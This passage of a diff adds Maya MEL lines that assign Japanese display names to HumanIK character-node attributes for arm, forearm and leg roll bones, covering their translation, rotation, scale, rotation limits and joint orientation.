+setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimit", "左腕ロール 2 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimitx", "左腕ロール 2 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimity", "左腕ロール 2 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimitz", "左腕ロール 2 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimit", "左腕ロール 2 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimitx", "左腕ロール 2 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimity", "左腕ロール 2 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimitz", "左腕ロール 2 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimitEnablex", "左腕ロール 2 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimitEnabley", "左腕ロール 2 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimitEnablez", "左腕ロール 2 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimitEnablex", "左腕ロール 2 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimitEnabley", "左腕ロール 2 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimitEnablez", "左腕ロール 2 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2", "左前腕ロール 2 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2T", "左前腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Tx", "左前腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Ty", "左前腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Tz", "左前腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2R", "左前腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Rx", "左前腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Ry", "左前腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Rz", "左前腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2S", "左前腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Sx", "左前腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Sy", "左前腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Sz", "左前腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", "左前腕ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateAxis", "左前腕ロール 2 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateAxisx", "左前腕ロール 2 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateAxisy", "左前腕ロール 2 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateAxisz", "左前腕ロール 2 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2JointOrient", "左前腕ロール 2 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2JointOrientx", "左前腕ロール 2 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2JointOrienty", "左前腕ロール 2 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2JointOrientz", "左前腕ロール 2 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimit", "左前腕ロール 2 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimitx", "左前腕ロール 2 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimity", "左前腕ロール 2 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimitz", "左前腕ロール 2 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimit", "左前腕ロール 2 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimitx", "左前腕ロール 2 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimity", "左前腕ロール 2 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimitz", "左前腕ロール 2 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimitEnablex", "左前腕ロール 2 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimitEnabley", "左前腕ロール 2 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimitEnablez", "左前腕ロール 2 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimitEnablex", "左前腕ロール 2 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimitEnabley", "左前腕ロール 2 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimitEnablez", "左前腕ロール 2 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2", "右腕ロール 2 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2T", "右腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Tx", "右腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Ty", "右腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Tz", "右腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2R", "右腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Rx", "右腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Ry", "右腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Rz", "右腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2S", "右腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Sx", "右腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Sy", "右腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Sz", "右腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", "右腕ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2RotateAxis", "右腕ロール 2 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2RotateAxisx", "右腕ロール 2 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2RotateAxisy", "右腕ロール 2 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2RotateAxisz", "右腕ロール 2 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2JointOrient", "右腕ロール 2 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2JointOrientx", "右腕ロール 2 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2JointOrienty", "右腕ロール 2 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2JointOrientz", "右腕ロール 2 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimit", "右腕ロール 2 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimitx", "右腕ロール 2 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimity", "右腕ロール 2 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimitz", "右腕ロール 2 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimit", "右腕ロール 2 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimitx", "右腕ロール 2 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimity", "右腕ロール 2 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimitz", "右腕ロール 2 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimitEnablex", "右腕ロール 2 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimitEnabley", "右腕ロール 2 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimitEnablez", "右腕ロール 2 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimitEnablex", "右腕ロール 2 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimitEnabley", "右腕ロール 2 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimitEnablez", "右腕ロール 2 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2", "右前腕ロール 2 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2T", "右前腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Tx", "右前腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Ty", "右前腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Tz", "右前腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2R", "右前腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Rx", "右前腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Ry", "右前腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Rz", "右前腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2S", "右前腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Sx", "右前腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Sy", "右前腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Sz", "右前腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", "右前腕ロール 2 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateAxis", "右前腕ロール 2 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateAxisx", "右前腕ロール 2 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateAxisy", "右前腕ロール 2 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateAxisz", "右前腕ロール 2 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2JointOrient", "右前腕ロール 2 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2JointOrientx", "右前腕ロール 2 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2JointOrienty", "右前腕ロール 2 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2JointOrientz", "右前腕ロール 2 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimit", "右前腕ロール 2 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimitx", "右前腕ロール 2 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimity", "右前腕ロール 2 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimitz", "右前腕ロール 2 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimit", "右前腕ロール 2 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimitx", "右前腕ロール 2 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimity", "右前腕ロール 2 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimitz", "右前腕ロール 2 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimitEnablex", "右前腕ロール 2 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimitEnabley", "右前腕ロール 2 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimitEnablez", "右前腕ロール 2 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimitEnablex", "右前腕ロール 2 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimitEnabley", "右前腕ロール 2 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimitEnablez", "右前腕ロール 2 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3", "左大腿部ロール 3 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3T", "左大腿部ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Tx", "左大腿部ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Ty", "左大腿部ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Tz", "左大腿部ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3R", "左大腿部ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Rx", "左大腿部ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Ry", "左大腿部ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Rz", "左大腿部ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3S", "左大腿部ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Sx", "左大腿部ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Sy", "左大腿部ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Sz", "左大腿部ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", "左大腿部ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateAxis", "左大腿部ロール 3 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateAxisx", "左大腿部ロール 3 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateAxisy", "左大腿部ロール 3 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateAxisz", "左大腿部ロール 3 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3JointOrient", "左大腿部ロール 3 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3JointOrientx", "左大腿部ロール 3 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3JointOrienty", "左大腿部ロール 3 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3JointOrientz", "左大腿部ロール 3 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimit", "左大腿部ロール 3 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimitx", "左大腿部ロール 3 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimity", "左大腿部ロール 3 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimitz", "左大腿部ロール 3 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimit", "左大腿部ロール 3 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimitx", "左大腿部ロール 3 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimity", "左大腿部ロール 3 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimitz", "左大腿部ロール 3 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimitEnablex", "左大腿部ロール 3 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimitEnabley", "左大腿部ロール 3 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimitEnablez", "左大腿部ロール 3 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimitEnablex", "左大腿部ロール 3 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimitEnabley", "左大腿部ロール 3 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimitEnablez", "左大腿部ロール 3 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3", "左脚ロール 3 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3T", "左脚ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Tx", "左脚ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Ty", "左脚ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Tz", "左脚ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3R", "左脚ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Rx", "左脚ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Ry", "左脚ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Rz", "左脚ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3S", "左脚ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Sx", "左脚ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Sy", "左脚ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Sz", "左脚ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", "左脚ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateAxis", "左脚ロール 3 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateAxisx", "左脚ロール 3 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateAxisy", "左脚ロール 3 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateAxisz", "左脚ロール 3 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3JointOrient", "左脚ロール 3 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3JointOrientx", "左脚ロール 3 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3JointOrienty", "左脚ロール 3 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3JointOrientz", "左脚ロール 3 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimit", "左脚ロール 3 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimitx", "左脚ロール 3 の最小回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimity", "左脚ロール 3 の最小回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimitz", "左脚ロール 3 の最小回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimit", "左脚ロール 3 の最大回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimitx", "左脚ロール 3 の最大回転値 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimity", "左脚ロール 3 の最大回転値 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimitz", "左脚ロール 3 の最大回転値 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimitEnablex", "左脚ロール 3 の最小回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimitEnabley", "左脚ロール 3 の最小回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimitEnablez", "左脚ロール 3 の最小回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimitEnablex", "左脚ロール 3 の最大回転値 X の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimitEnabley", "左脚ロール 3 の最大回転値 Y の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimitEnablez", "左脚ロール 3 の最大回転値 Z の有効化 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3", "右大腿部ロール 3 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3T", "右大腿部ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Tx", "右大腿部ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Ty", "右大腿部ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Tz", "右大腿部ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3R", "右大腿部ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Rx", "右大腿部ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Ry", "右大腿部ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Rz", "右大腿部ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3S", "右大腿部ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Sx", "右大腿部ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Sy", "右大腿部ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Sz", "右大腿部ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", "右大腿部ロール 3 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateAxis", "右大腿部ロール 3 の回転軸 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateAxisx", "右大腿部ロール 3 の回転軸 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateAxisy", "右大腿部ロール 3 の回転軸 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateAxisz", "右大腿部ロール 3 の回転軸 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3JointOrient", "右大腿部ロール 3 のジョイント方向 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3JointOrientx", "右大腿部ロール 3 のジョイント方向 x 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3JointOrienty", "右大腿部ロール 3 のジョイント方向 y 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3JointOrientz", "右大腿部ロール 3 のジョイント方向 z 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimit", "右大腿部ロール 3 の最小回転値 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimitx", "右大腿部ロール 3 の最小回転値 x 可動部" ); 